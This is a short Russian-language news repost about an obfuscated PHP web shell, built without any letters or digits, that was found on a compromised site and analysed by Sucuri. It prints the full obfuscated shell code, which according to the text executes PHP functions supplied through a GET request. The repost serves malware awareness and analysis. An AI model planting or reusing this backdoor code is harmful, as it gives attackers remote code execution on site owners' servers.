PHP-шелл без единого буквенно-цифрового символа

Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код:

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$  $_[$__+ $__] ;$_[@-_]($_[@!+_] ); 

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.

Один из программистов Sucuri Йорман Ариас (Yorman Arias) расположил код в более удобочитаемом виде и облёк каждую строку кода в var_dump(), чтобы увидеть её вывод:

image

В итоге, используя туманные фразы вроде «some boolean magic » и анализируя код, приходит к выводу, что предназначение вредоноса — выполнение PHP-функций, который передаются ему при помощи GET-запроса.

Технические подробности — здесь.

ссылка на оригинал статьи http://habrahabr.ru/post/193986/

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *